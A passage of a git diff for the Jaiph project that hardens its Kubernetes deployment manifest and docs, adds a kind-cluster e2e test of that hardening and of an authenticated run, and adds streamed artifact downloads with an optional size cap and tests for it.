**required** `envFrom` — a missing Secret holds the pod in `CreateContainerConfigError` rather than ever starting an unauthenticated runner. `kubectl apply --dry-run=client -f docs/deploy/k8s.yaml` remains a fast schema check, but the real deployment contract is exercised end-to-end on a [kind](https://kind.sigs.k8s.io/) cluster by `e2e/tests/150_k8s_deploy.sh` (run in CI): it applies the manifest, verifies the Secret gate and the hardening below, invokes the health workflow over HTTP with bearer auth, and reads the run's journal back from the runs volume. + The manifest runs `jaiph serve --host 0.0.0.0` as a long-lived HTTP runner (see [Serve workflows over HTTP](serve.md)) with `JAIPH_SERVE_TOKEN` sourced from the Secret, and liveness/readiness probes on `GET /healthz` (which stays open — no bearer token required). Highlights, all reflected in the file: +- **Pod hardening by default.** `runAsNonRoot` with the image's fixed `jaiph` UID/GID (`10001`), `allowPrivilegeEscalation: false`, all capabilities dropped, the `RuntimeDefault` seccomp profile, `readOnlyRootFilesystem: true`, and `automountServiceAccountToken: false` (workflows never talk to the Kubernetes API, so they get no API credential to leak). +- **Writable mounts only where required.** Workflow sources stay read-only (a ConfigMap at `/work`); run artifacts go to a dedicated `emptyDir` at `/jaiph/runs` via `JAIPH_RUNS_DIR` (swap it for a PVC if runs must survive pod replacement). Two more `emptyDir`s cover what Jaiph and the agent CLIs genuinely write: `/tmp` (extracted scripts, scratch) and a fresh `$HOME` at `/jaiph/home` (claude/cursor state; the baked `PATH` still finds `cursor-agent` under the image's read-only `/home/jaiph/.local/bin`). - **Image tag pinning.** The manifest ships `:nightly` with an inline note to pin a released tag or a `@sha256:` digest for production — never track a moving tag. - **TLS via ingress.** `jaiph serve` speaks plain HTTP; the Service stays `ClusterIP` and you terminate TLS at an Ingress / gateway (cert-manager, a cloud LB, or a mesh) in front of it. Do not expose the token-guarded API to the internet without TLS. - **Resource requests.** Agent workloads are CPU- and memory-hungry — they spawn backend CLIs plus build/test toolchains. The manifest requests `1` CPU / `2Gi` and limits `2` CPU / `4Gi` as a starting point; tune to your workflows. - **Auth.** Binding `0.0.0.0` without `JAIPH_SERVE_TOKEN` is a startup error by design, so the Secret is mandatory. Every `/v1/*` request then requires `Authorization: Bearer `. +- **Observability wiring, credential-free.** Commented `env` entries show where `OTEL_EXPORTER_OTLP_ENDPOINT` / `OTEL_SERVICE_NAME` / `SENTRY_ENVIRONMENT` go; anything secret (`SENTRY_DSN`, an `OTEL_EXPORTER_OTLP_HEADERS` auth token) belongs in the `jaiph-credentials` Secret, never in the manifest. See [Observability](observability.md). -The same security posture applies: the pod runs in host mode (`JAIPH_UNSAFE=true` is baked), so **isolation is the pod boundary you configure** — there is no jaiph-managed sandbox inside. +The same security posture applies: the pod runs in host mode (`JAIPH_UNSAFE=true` is baked), so **isolation is the pod boundary** — the manifest configures that boundary, and there is no jaiph-managed sandbox inside. ## Related diff --git a/docs/deploy/k8s.yaml b/docs/deploy/k8s.yaml index 1e024a1e..782dfd4f 100644 --- a/docs/deploy/k8s.yaml +++ b/docs/deploy/k8s.yaml @@ -6,31 +6,34 @@ # host mode — the pod boundary IS the sandbox (there is no jaiph-managed Docker # sandbox in standalone mode). See docs/deploy.md for the security posture. # -# Validate without a cluster: +# Credentials are NOT part of this manifest. Create the `jaiph-credentials` +# Secret out-of-band before applying — the Deployment references it as a +# required secretRef, so the pod stays in CreateContainerConfigError until +# the Secret exists: +# +# kubectl create secret generic jaiph-credentials \ +# --from-literal=JAIPH_SERVE_TOKEN="$(openssl rand -hex 32)" \ +# --from-literal=ANTHROPIC_API_KEY="sk-ant-..." +# +# JAIPH_SERVE_TOKEN is mandatory: `jaiph serve` refuses to bind a non-loopback +# host (0.0.0.0) without it, and every /v1/* request then requires +# `Authorization: Bearer `. Backend credentials — add only the one(s) +# your workflows use: +# claude -> ANTHROPIC_API_KEY (or CLAUDE_CODE_OAUTH_TOKEN) +# cursor -> CURSOR_API_KEY +# codex -> OPENAI_API_KEY +# +# Validate the schema without a cluster: # kubectl apply --dry-run=client -f docs/deploy/k8s.yaml +# The real deployment contract (a run completes and lands its journal on the +# writable runs volume, the pod is non-root with no privilege escalation) is +# exercised end-to-end against a kind cluster by e2e/tests/150_k8s_deploy.sh. # -# The workflow file is supplied here via a ConfigMap mounted at /work for a -# self-contained example; a real deployment usually bakes workflows into a -# derived image or mounts them from a volume / git-sync sidecar instead. ---- -apiVersion: v1 -kind: Secret -metadata: - name: jaiph-credentials - labels: - app: jaiph-runner -type: Opaque -stringData: - # HTTP API bearer token. `jaiph serve` refuses to bind a non-loopback host - # (0.0.0.0) unless this is set — every /v1/* request then requires - # `Authorization: Bearer `. Replace with a real secret (e.g. via a - # sealed-secret / external-secrets operator) before applying to a cluster. - JAIPH_SERVE_TOKEN: "replace-me-with-a-long-random-token" - # Backend credentials — set only the one(s) your workflows use. - # claude -> ANTHROPIC_API_KEY (or CLAUDE_CODE_OAUTH_TOKEN) - # cursor -> CURSOR_API_KEY - # codex -> OPENAI_API_KEY - ANTHROPIC_API_KEY: "replace-me" +# The workflow file is supplied here via a ConfigMap mounted read-only at +# /work for a self-contained example; a real deployment usually bakes +# workflows into a derived image or mounts them from a volume / git-sync +# sidecar instead. Workflow sources stay read-only either way — run artifacts +# go to the dedicated runs volume via JAIPH_RUNS_DIR. --- apiVersion: v1 kind: ConfigMap @@ -61,6 +64,18 @@ spec: labels: app: jaiph-runner spec: + # The runner never talks to the Kubernetes API; don't hand workflows + # (and the agent backends they spawn) an API credential. + automountServiceAccountToken: false + securityContext: + # UID/GID 10001 is the image's `jaiph` user; fsGroup makes the + # emptyDir volumes below group-writable for it. + runAsNonRoot: true + runAsUser: 10001 + runAsGroup: 10001 + fsGroup: 10001 + seccompProfile: + type: RuntimeDefault containers: - name: jaiph # Pin the image tag (or, better, a @sha256 digest) for reproducible @@ -68,15 +83,54 @@ spec: image: ghcr.io/jaiphlang/jaiph-runtime:nightly # The image sets no ENTRYPOINT, so spell the full command. command: ["jaiph", "serve", "--host", "0.0.0.0", "/work/tools.jh"] + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: + drop: ["ALL"] ports: - name: http containerPort: 5247 + env: + # Run artifacts (journal, step captures, inbox) go to the writable + # runs volume — /work is the read-only ConfigMap. + - name: JAIPH_RUNS_DIR + value: /jaiph/runs + # Agent CLIs (claude, cursor-agent) persist state under $HOME. + # Point HOME at a writable emptyDir instead of the image's + # read-only /home/jaiph; the baked PATH still resolves + # cursor-agent from /home/jaiph/.local/bin. + - name: HOME + value: /jaiph/home + # Optional observability — uncomment and point at your stack. + # Values here are addresses only; anything secret (an OTLP auth + # header, the Sentry DSN) belongs in the jaiph-credentials Secret + # so it arrives via the envFrom below, never in this manifest: + # OTEL_EXPORTER_OTLP_HEADERS: "authorization=Bearer " + # SENTRY_DSN: "https://@/" + # - name: OTEL_EXPORTER_OTLP_ENDPOINT + # value: "http://otel-collector.observability.svc:4318" + # - name: OTEL_SERVICE_NAME + # value: "jaiph-runner" + # - name: SENTRY_ENVIRONMENT + # value: "prod" envFrom: - secretRef: + # Required (not `optional: true`): a missing Secret must block + # startup rather than expose an unauthenticated runner. name: jaiph-credentials volumeMounts: - name: workflows mountPath: /work + readOnly: true + - name: runs + mountPath: /jaiph/runs + - name: home + mountPath: /jaiph/home + # `jaiph serve` extracts compiled scripts to a temp dir; agent + # CLIs and workflow scripts also expect a writable /tmp. + - name: tmp + mountPath: /tmp # /healthz stays open (no bearer token required) and is served as soon # as the HTTP listener is up. readinessProbe: @@ -104,6 +158,14 @@ spec: - name: workflows configMap: name: jaiph-workflows + # Runs are durable per-run records; swap the emptyDir for a + # PersistentVolumeClaim if they must survive pod replacement. + - name: runs + emptyDir: {} + - name: home + emptyDir: {} + - name: tmp + emptyDir: {} --- apiVersion: v1 kind: Service diff --git a/docs/env-vars.md b/docs/env-vars.md index d12af738..fbb92d6a 100644 --- a/docs/env-vars.md +++ b/docs/env-vars.md @@ -78,6 +78,7 @@ The table below covers every `JAIPH_*` name read from `process.env` / `env` in ` | `JAIPH_RUNS_DIR` | host, runtime | path | `.jaiph/runs` under the workspace | `run.logs_dir` | Root directory for run logs. Inside Docker the host CLI overrides this to `/jaiph/run`. | | `JAIPH_RUNS_DIR_LOCKED` | internal | bool | — | — | Lock flag for `JAIPH_RUNS_DIR`. | | `JAIPH_SCRIPTS` | internal | path | — | — | Directory of emitted `script` files for this run. Set after `buildScripts()`. Any parent-shell value is cleared before launch. | +| `JAIPH_SERVE_MAX_ARTIFACT_BYTES` | host | int | `0` (no cap) | — | `jaiph serve` — max size (bytes) of one artifact download; a larger file is refused with HTTP `413`. Downloads always stream with backpressure, so `0` (no cap) still keeps server memory bounded regardless of artifact size. Must be `>= 0`. | | `JAIPH_SERVE_MAX_CONCURRENT` | host | int | `4` | — | `jaiph serve` — cap on simultaneously-running workflows; requests beyond it get HTTP `429`. Must be a positive integer. | | `JAIPH_SERVE_MAX_OUTPUT_BYTES` | host | int | `1048576` (1 MiB) | — | `jaiph serve` — per-run byte cap applied independently to collected stdout, stderr, log output, and the public `result_text`. Output beyond the cap is dropped with a deterministic truncation marker, bounding one run's memory. Must be a positive integer. | | `JAIPH_SERVE_RETAIN_AGE_SEC` | host | int | `86400` (24h) | — | `jaiph serve` — max age (seconds, from `ended_at`) of a completed run kept in the in-memory registry; older terminal records are evicted. `0` disables age eviction. Active runs are never evicted; durable `.jaiph/runs` artifacts are unaffected. Must be `>= 0`. | diff --git a/docs/serve.md b/docs/serve.md index 659f632f..1af46bf9 100644 --- a/docs/serve.md +++ b/docs/serve.md @@ -81,6 +81,8 @@ curl -s http://127.0.0.1:5247/v1/runs/$ID/artifacts/report.txt -o report.txt The download path is resolved strictly inside the run's `artifacts/` directory and is traversal-proof: `..` segments, absolute paths, and symlinks pointing outside the directory all return `404` without touching the target file. +Downloads stream from disk with backpressure — the server never buffers a complete artifact, so a multi-gigabyte file costs no server memory and a client disconnect closes the file immediately. To refuse oversized downloads outright, set `JAIPH_SERVE_MAX_ARTIFACT_BYTES` (default `0` = no cap); larger artifacts return `413`. + ## 6. Use the Swagger UI Open `http://127.0.0.1:5247/docs` in a browser to get a live form for every workflow. When a token is configured, paste it into the **Authorize** box (Swagger UI keeps it across reloads). The UI loads its assets from a pinned, SRI-verified CDN, so `/docs` needs internet access in the browser; air-gapped operators use `/openapi.json` with any locally-hosted renderer. diff --git a/e2e/test_all.sh b/e2e/test_all.sh index 57cb38b7..74ad426f 100755 --- a/e2e/test_all.sh +++ b/e2e/test_all.sh @@ -107,6 +107,7 @@ TEST_SCRIPTS=( "e2e/tests/149_mcp_generation_lifecycle.sh" "e2e/tests/146_trusted_envs.sh" "e2e/tests/148_standalone_image.sh" + "e2e/tests/150_k8s_deploy.sh" "e2e/tests/210_standalone_binary.sh" ) diff --git a/e2e/tests/150_k8s_deploy.sh b/e2e/tests/150_k8s_deploy.sh new file mode 100755 index 00000000..a030a99e --- /dev/null +++ b/e2e/tests/150_k8s_deploy.sh @@ -0,0 +1,211 @@ +#!/usr/bin/env bash +# +# k8s 1/1 — docs/deploy/k8s.yaml deploys, hardens, and completes a run +# ===================================================================== +# The dry-run gate in CI only proves the manifest parses. This test proves the +# deployment contract on a real (kind) cluster: +# +# - the manifest ships no credentials: the pod is blocked in +# CreateContainerConfigError until the operator creates the external +# `jaiph-credentials` Secret (JAIPH_SERVE_TOKEN), then starts; +# - the pod is hardened: non-root fixed UID, no privilege escalation, all +# capabilities dropped, RuntimeDefault seccomp, read-only root filesystem, +# no service-account token mounted — each pinned by an assertion that +# fails if the manifest field is removed; +# - a real run completes: the health workflow is invoked over HTTP with +# bearer auth, lands its journal on the writable runs volume +# (JAIPH_RUNS_DIR) while /work stays read-only, and the events endpoint +# byte-matches that journal. +# +# Gated: skips unless docker, kind, and kubectl are available. Set +# JAIPH_E2E_KIND_CLUSTER to reuse an existing kind cluster (CI does); without +# it the test creates and deletes its own. The user kubeconfig is never +# touched — kubectl runs against a private kubeconfig in the test dir. + +set -euo pipefail + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +source "${ROOT_DIR}/e2e/lib/common.sh" + +K8S_MANIFEST="${ROOT_DIR}/docs/deploy/k8s.yaml" +K8S_NAMESPACE="jaiph-e2e" +K8S_CLUSTER="${JAIPH_E2E_KIND_CLUSTER:-}" +K8S_OWNS_CLUSTER=0 +K8S_PORT_FORWARD_PID="" + +k8s::cleanup() { + if [[ -n "${K8S_PORT_FORWARD_PID}" ]]; then + kill "${K8S_PORT_FORWARD_PID}" >/dev/null 2>&1 || true + wait "${K8S_PORT_FORWARD_PID}" 2>/dev/null || true + K8S_PORT_FORWARD_PID="" + fi + if [[ "${K8S_OWNS_CLUSTER}" == "1" ]]; then + kind delete cluster --name "${K8S_CLUSTER}" >/dev/null 2>&1 || true + elif [[ -n "${K8S_CLUSTER}" && -n "${KUBECONFIG:-}" && -f "${KUBECONFIG}" ]]; then + # Shared cluster (CI): remove only what this test created. + kubectl delete namespace "${K8S_NAMESPACE}" --ignore-not-found --wait=false >/dev/null 2>&1 || true + fi + e2e::cleanup +} +trap k8s::cleanup EXIT + +e2e::prepare_test_env "k8s_deploy" +TEST_DIR="${JAIPH_E2E_TEST_DIR}" + +for cmd in kind kubectl python3 curl; do + if ! command -v "${cmd}" >/dev/null 2>&1; then + e2e::section "k8s deploy manifest (skipped — ${cmd} unavailable)" + e2e::skip "${cmd} is not available, skipping k8s deploy test" + exit 0 + fi +done +if ! command -v docker >/dev/null 2>&1 || ! docker info >/dev/null 2>&1; then + e2e::section "k8s deploy manifest (skipped — Docker unavailable)" + e2e::skip "Docker is not available, skipping k8s deploy test" + exit 0 +fi +if ! e2e::ensure_docker_test_image; then + e2e::section "k8s deploy manifest (skipped — test image build failed)" + e2e::skip "Could not build local Docker test image" + exit 0 +fi + +e2e::section "manifest ships no applyable credentials" + +# The base manifest must not contain a Secret (the credential contract is an +# external `kubectl create secret`); a reintroduced placeholder fails here. +if grep -q "^kind: Secret" "${K8S_MANIFEST}"; then + e2e::fail "docs/deploy/k8s.yaml must not ship a Secret manifest (external Secret contract)" +fi +if grep -qi "replace-me" "${K8S_MANIFEST}"; then + e2e::fail "docs/deploy/k8s.yaml must not ship placeholder credential values" +fi +e2e::pass "no Secret manifest / placeholder credentials in docs/deploy/k8s.yaml" + +e2e::section "kind cluster + image load" + +export KUBECONFIG="${TEST_DIR}/kubeconfig" +if [[ -n "${K8S_CLUSTER}" ]]; then + kind export kubeconfig --name "${K8S_CLUSTER}" --kubeconfig "${KUBECONFIG}" +else + K8S_CLUSTER="jaiph-e2e-$$" + K8S_OWNS_CLUSTER=1 + kind create cluster --name "${K8S_CLUSTER}" --kubeconfig "${KUBECONFIG}" --wait 120s >/dev/null +fi +kind load docker-image "${E2E_DOCKER_TEST_IMAGE}" --name "${K8S_CLUSTER}" >/dev/null +e2e::pass "cluster ${K8S_CLUSTER} ready with ${E2E_DOCKER_TEST_IMAGE} loaded" + +kubectl create namespace "${K8S_NAMESPACE}" --dry-run=client -o yaml | kubectl apply -f - >/dev/null +kc() { kubectl -n "${K8S_NAMESPACE}" "$@"; } + +e2e::section "external Secret contract blocks startup until the operator provides it" + +# Apply the manifest verbatim except the image line: the test must run the +# locally built image, and the manifest itself instructs pinning your own. +sed "s|image: ghcr.io/jaiphlang/jaiph-runtime:nightly|image: ${E2E_DOCKER_TEST_IMAGE}|" \ + "${K8S_MANIFEST}" | kc apply -f - >/dev/null + +# The secretRef must be required (`optional` unset), and without the Secret +# the pod must be held in CreateContainerConfigError — never a running, +# unauthenticated server. +optional="$(kc get deployment jaiph-runner \ + -o jsonpath='{.spec.template.spec.containers[0].envFrom[0].secretRef.optional}')" +e2e::assert_equals "${optional}" "" "jaiph-credentials secretRef is required (optional unset)" + +blocked="" +for _ in $(seq 1 60); do + blocked="$(kc get pods -l app=jaiph-runner \ + -o jsonpath='{.items[0].status.containerStatuses[0].state.waiting.reason}' 2>/dev/null || true)" + if [[ "${blocked}" == "CreateContainerConfigError" ]]; then + break + fi + sleep 2 +done +e2e::assert_equals "${blocked}" "CreateContainerConfigError" \ + "pod is blocked until the external jaiph-credentials Secret exists" + +serve_token="e2e-$(python3 -c 'import secrets; print(secrets.token_hex(24))')" +kc create secret generic jaiph-credentials \ + --from-literal=JAIPH_SERVE_TOKEN="${serve_token}" >/dev/null +kc rollout status deployment/jaiph-runner --timeout=240s >/dev/null +e2e::pass "pod started once the Secret was created" + +e2e::section "pod hardening is applied and effective" + +pod="$(kc get pods -l app=jaiph-runner --field-selector=status.phase=Running \ + -o jsonpath='{.items[0].metadata.name}')" + +# Manifest-derived spec fields: each assertion fails if the corresponding +# hardening line is removed from docs/deploy/k8s.yaml. +spec_fields="$(kc get pod "${pod}" -o jsonpath='{.spec.securityContext.runAsNonRoot} {.spec.securityContext.runAsUser} {.spec.securityContext.seccompProfile.type} {.spec.automountServiceAccountToken} {.spec.containers[0].securityContext.allowPrivilegeEscalation} {.spec.containers[0].securityContext.readOnlyRootFilesystem} {.spec.containers[0].securityContext.capabilities.drop[0]}')" +e2e::assert_equals "${spec_fields}" "true 10001 RuntimeDefault false false true ALL" \ + "runAsNonRoot=true runAsUser=10001 seccomp=RuntimeDefault automountSAToken=false allowPrivilegeEscalation=false readOnlyRootFilesystem=true capabilities.drop=ALL" + +# Effective in the running container, not just declared. +e2e::assert_equals "$(kc exec "${pod}" -- id -u)" "10001" "container runs as UID 10001 (non-root)" +e2e::assert_equals \ + "$(kc exec "${pod}" -- sh -c 'test -e /var/run/secrets/kubernetes.io/serviceaccount/token && echo mounted || echo absent')" \ + "absent" "default service-account token is not mounted" +e2e::assert_equals \ + "$(kc exec "${pod}" -- sh -c 'touch /usr/local/e2e-probe 2>/dev/null && echo writable || echo readonly')" \ + "readonly" "root filesystem is read-only" +e2e::assert_equals \ + "$(kc exec "${pod}" -- sh -c 'touch /work/e2e-probe 2>/dev/null && echo writable || echo readonly')" \ + "readonly" "workflow sources under /work are read-only" + +e2e::section "authenticated HTTP run lands its journal on the writable runs volume" + +pf_out="${TEST_DIR}/port_forward.txt" +: >"${pf_out}" +kc port-forward svc/jaiph-runner :80 >"${pf_out}" 2>&1 & +K8S_PORT_FORWARD_PID="$!" +port="" +for _ in $(seq 1 50); do + port="$(sed -nE 's#^Forwarding from 127\.0\.0\.1:([0-9]+).*#\1#p' "${pf_out}" | head -1)" + if [[ -n "${port}" ]]; then + break + fi + sleep 0.2 +done +if [[ -z "${port}" ]]; then + printf 'port-forward output:\n%s\n' "$(cat "${pf_out}")" >&2 + e2e::fail "kubectl port-forward did not report a local port" +fi +base="http://127.0.0.1:${port}" + +health_status="$(curl -s "${base}/healthz" | python3 -c 'import json,sys; print(json.load(sys.stdin)["status"])')" +e2e::assert_equals "${health_status}" "ok" "GET /healthz reports status ok" + +unauth_code="$(curl -s -o /dev/null -w '%{http_code}' -X POST \ + "${base}/v1/workflows/health/runs?wait=true" -H 'content-type: application/json' -d '{}')" +e2e::assert_equals "${unauth_code}" "401" "POST without the bearer token is rejected with 401" + +run_json="$(curl -s -X POST "${base}/v1/workflows/health/runs?wait=true" \ + -H "authorization: Bearer ${serve_token}" -H 'content-type: application/json' -d '{}')" +run_fields="$(printf '%s' "${run_json}" | python3 -c ' +import json, sys +d = json.load(sys.stdin) +print(d["status"]) +print(d["result_text"]) +print(d["run_id"]) +print(d["run_dir"]) +')" +{ + read -r p_status + read -r p_result + read -r p_run_id + read -r p_run_dir +} <<< "${run_fields}" +e2e::assert_equals "${p_status}" "succeeded" "health run status is succeeded" +e2e::assert_equals "${p_result}" "ok" "health result_text is the workflow return value" +case "${p_run_dir}" in + /jaiph/runs/*) e2e::pass "run_dir ${p_run_dir} is on the writable runs volume (JAIPH_RUNS_DIR)" ;; + *) e2e::fail "run_dir ${p_run_dir} is not under /jaiph/runs" ;; +esac + +# The durable journal on the runs volume is the source of truth; the events +# endpoint must serve it verbatim (full-content equality). +journal="$(kc exec "${pod}" -- cat "${p_run_dir}/run_summary.jsonl")" +events="$(curl -s "${base}/v1/runs/${p_run_id}/events" -H "authorization: Bearer ${serve_token}")" +e2e::assert_equals "${events}" "${journal}" \ + "GET events (NDJSON) byte-matches run_summary.jsonl read from the runs volume" diff --git a/integration/serve-server.test.ts b/integration/serve-server.test.ts index f645b456..c2ea807d 100644 --- a/integration/serve-server.test.ts +++ b/integration/serve-server.test.ts @@ -1,7 +1,7 @@ import test from "node:test"; import assert from "node:assert/strict"; import { spawn, spawnSync } from "node:child_process"; -import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { closeSync, existsSync, ftruncateSync, mkdtempSync, openSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { dirname, join } from "node:path"; @@ -68,6 +68,7 @@ function serveEnv(runsRoot: string, extra?: Record): NodeJS.Proc interface ServeProc { baseUrl: string; + pid: number; stderr: () => string; close: () => Promise; } @@ -91,6 +92,7 @@ function startServe(fixture: string, cwd: string, env: NodeJS.ProcessEnv, extraA clearTimeout(timer); resolve({ baseUrl: m[1], + pid: child.pid!, stderr: () => stderrBuf, close: () => new Promise((res) => { @@ -467,6 +469,69 @@ test("jaiph serve: artifacts round-trip — list then byte-identical download, t } }); +/** Resident set size of `pid` in KB via `ps` (0 when unavailable). */ +function sampleRssKb(pid: number): number { + const out = spawnSync("ps", ["-o", "rss=", "-p", String(pid)], { encoding: "utf8" }); + const n = Number((out.stdout ?? "").trim()); + return Number.isFinite(n) ? n : 0; +} + +test( + "jaiph serve: a multi-gigabyte sparse artifact streams with bounded server memory", + { skip: process.platform === "win32" ? "needs ps for RSS sampling" : false }, + async () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-serve-bigart-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, BASE_FIXTURE); + const srv = await startServe(jh, root, serveEnv(join(root, ".jaiph/runs"))); + try { + const runRes = await fetch(`${srv.baseUrl}/v1/workflows/make_artifact/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json" }, + body: "{}", + }); + const run = await runRes.json(); + assert.equal(run.status, "succeeded", `run failed: ${JSON.stringify(run)}`); + + // Publish a 3 GiB sparse file into the run's durable artifacts dir. It + // occupies no disk, but a server that buffers the download whole would + // hold all 3 GiB resident. + const SIZE = 3 * 1024 ** 3; + const fd = openSync(join(run.run_dir, "artifacts", "big.bin"), "w"); + ftruncateSync(fd, SIZE); + closeSync(fd); + + const dl = await fetch(`${srv.baseUrl}/v1/runs/${run.run_id}/artifacts/big.bin`); + assert.equal(dl.status, 200); + assert.equal(dl.headers.get("content-length"), String(SIZE)); + + // Consume the stream, sampling the serve process's RSS as it flows. + const reader = dl.body!.getReader(); + let received = 0; + let maxRssKb = 0; + let lastSample = 0; + for (;;) { + const { value, done } = await reader.read(); + if (done) break; + received += value!.length; + if (Date.now() - lastSample > 250) { + lastSample = Date.now(); + maxRssKb = Math.max(maxRssKb, sampleRssKb(srv.pid)); + } + } + assert.equal(received, SIZE, "every artifact byte arrived"); + assert.ok(maxRssKb > 0, "RSS sampling observed the serve process during the transfer"); + // Streaming keeps the server at a few hundred MB at most; buffering the + // artifact whole would put it well past 3 GiB. + const BOUND_KB = 1.5 * 1024 * 1024; + assert.ok(maxRssKb < BOUND_KB, `server RSS stayed bounded during the 3 GiB download (max ${maxRssKb} KB)`); + } finally { + await srv.close(); + rmSync(root, { recursive: true, force: true }); + } + }, +); + test("jaiph --help lists jaiph serve", () => { const result = spawnSync("node", [CLI_PATH, "--help"], { encoding: "utf8", stdio: ["ignore", "pipe", "pipe"] }); assert.equal(result.status, 0); diff --git a/src/cli/commands/serve.ts b/src/cli/commands/serve.ts index 493af3b7..e4656ef1 100644 --- a/src/cli/commands/serve.ts +++ b/src/cli/commands/serve.ts @@ -27,6 +27,8 @@ const DEFAULT_RETAIN_RUNS = 500; const DEFAULT_RETAIN_AGE_SEC = 24 * 60 * 60; /** 1 MiB per stream / log buffer / result_text; bounds one run's memory. */ const DEFAULT_MAX_OUTPUT_BYTES = 1024 * 1024; +/** No cap on artifact downloads by default — they stream, so size costs no memory. */ +const DEFAULT_MAX_ARTIFACT_BYTES = 0; /** * Parse an integer env var, returning the fallback when unset. Throws a @@ -61,7 +63,9 @@ const SERVE_USAGE = "(per-run stdout/stderr/log/result cap, default 1 MiB), JAIPH_SERVE_RETAIN_RUNS\n" + "(completed runs kept in memory, default 500), and JAIPH_SERVE_RETAIN_AGE_SEC\n" + "(max completed-run age, default 86400; 0 disables). GET /v1/runs is paginated\n" + - "(?limit default 100, max 1000; ?offset).\n\n" + + "(?limit default 100, max 1000; ?offset). Artifact downloads stream with\n" + + "backpressure; JAIPH_SERVE_MAX_ARTIFACT_BYTES (default 0 = no cap) refuses\n" + + "larger files with 413.\n\n" + " --host listen address (default: 127.0.0.1)\n" + " --port listen port (default: 5247)\n" + " --workspace workspace root for import resolution (default: auto-detect)\n" + @@ -145,10 +149,12 @@ export async function runServe(rest: string[]): Promise { let retainRuns: number; let retainAgeSec: number; let maxOutputBytes: number; + let maxArtifactBytes: number; try { retainRuns = intEnv(process.env.JAIPH_SERVE_RETAIN_RUNS, "JAIPH_SERVE_RETAIN_RUNS", DEFAULT_RETAIN_RUNS, 1); retainAgeSec = intEnv(process.env.JAIPH_SERVE_RETAIN_AGE_SEC, "JAIPH_SERVE_RETAIN_AGE_SEC", DEFAULT_RETAIN_AGE_SEC, 0); maxOutputBytes = intEnv(process.env.JAIPH_SERVE_MAX_OUTPUT_BYTES, "JAIPH_SERVE_MAX_OUTPUT_BYTES", DEFAULT_MAX_OUTPUT_BYTES, 1); + maxArtifactBytes = intEnv(process.env.JAIPH_SERVE_MAX_ARTIFACT_BYTES, "JAIPH_SERVE_MAX_ARTIFACT_BYTES", DEFAULT_MAX_ARTIFACT_BYTES, 0); } catch (err) { process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); return 1; @@ -216,11 +222,14 @@ export async function runServe(rest: string[]): Promise { maxConcurrent, retainRuns, retainAgeSec, + maxArtifactBytes, now: () => new Date().toISOString(), // A run's dir is only recorded on its object at finalize; while it runs the // events/artifacts endpoints locate it by scanning the host runs root for // the run id (works host- and Docker-side — the run dir is a host mount). - resolveRunDir: (record) => record.run_dir ?? findRunDir(hostRunsRoot, record.run_id), + // The handler caches the first hit per record, so a live SSE poll loop + // scans at most once. + resolveRunDir: (record) => findRunDir(hostRunsRoot, record.run_id), getTools: () => generations.current().tools, callTool: (spec, args, runId, ctx) => { // Bind the run to the generation live at start; the lease keeps its diff --git a/src/cli/serve/handler.test.ts b/src/cli/serve/handler.test.ts index 7ed5c841..18d5fd49 100644 --- a/src/cli/serve/handler.test.ts +++ b/src/cli/serve/handler.test.ts @@ -1,9 +1,9 @@ import test from "node:test"; import assert from "node:assert/strict"; -import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { appendFileSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; -import { ServeHandler, type ServeRequest, type ServeResponse } from "./handler"; +import { ServeHandler, type RunRecord, type ServeRequest, type ServeResponse } from "./handler"; import type { StreamTarget } from "./runfiles"; import type { McpToolSpec } from "../mcp/tools"; import type { WorkflowCallResult, WorkflowCallContext } from "../exec/call"; @@ -44,6 +44,9 @@ function makeHandler(overrides?: { retainRuns?: number; retainAgeSec?: number; now?: () => string; + resolveRunDir?: (record: RunRecord) => string | null; + ssePollMs?: number; + maxArtifactBytes?: number; }): ServeHandler { let n = 0; return new ServeHandler({ @@ -57,6 +60,9 @@ function makeHandler(overrides?: { retainAgeSec: overrides?.retainAgeSec, now: overrides?.now ?? (() => "2026-07-24T00:00:00.000Z"), newRunId: () => `run-${n++}`, + resolveRunDir: overrides?.resolveRunDir, + ssePollMs: overrides?.ssePollMs, + maxArtifactBytes: overrides?.maxArtifactBytes, }); } @@ -423,7 +429,7 @@ test("events + artifacts require the bearer token when one is configured", async } }); -test("NDJSON events on a terminal run byte-match the run_summary.jsonl file", async () => { +test("NDJSON events on a terminal run stream the run_summary.jsonl file itself", async () => { const runDir = mkdtempSync(join(tmpdir(), "jaiph-h-ndjson-")); try { const journal = '{"type":"WORKFLOW_START","run_id":"r"}\n{"type":"WORKFLOW_END","run_id":"r"}\n'; @@ -432,8 +438,10 @@ test("NDJSON events on a terminal run byte-match the run_summary.jsonl file", as const res = await h.handleRequest(req("GET", `/v1/runs/${runId}/events`)); assert.equal(res.status, 200); assert.equal(res.headers["content-type"], "application/x-ndjson"); - assert.ok(res.bodyBuffer, "NDJSON is served as a binary body"); - assert.deepEqual(res.bodyBuffer, readFileSync(join(runDir, "run_summary.jsonl")), "byte-identical to the journal"); + assert.ok(res.bodyFile, "NDJSON is streamed from a file, never buffered whole"); + assert.equal(res.bodyFile!.path, join(runDir, "run_summary.jsonl"), "the streamed file is the journal"); + assert.equal(res.bodyFile!.size, Buffer.byteLength(journal), "exactly the journal's bytes are streamed"); + assert.equal(res.headers["content-length"], String(Buffer.byteLength(journal))); } finally { rmSync(runDir, { recursive: true, force: true }); } @@ -479,7 +487,10 @@ test("artifacts round-trip through the handler: list then byte-identical downloa assert.equal(dl.status, 200); assert.equal(dl.headers["content-type"], "application/octet-stream"); assert.match(dl.headers["content-disposition"], /filename="out\.bin"/); - assert.deepEqual(dl.bodyBuffer, payload, "downloaded bytes match the published file"); + assert.equal(dl.headers["content-length"], String(payload.length)); + assert.ok(dl.bodyFile, "the artifact is streamed from disk, never buffered whole"); + assert.equal(dl.bodyFile!.size, payload.length); + assert.deepEqual(readFileSync(dl.bodyFile!.path), payload, "the streamed file is the published artifact"); // Traversal to a run-dir file (not 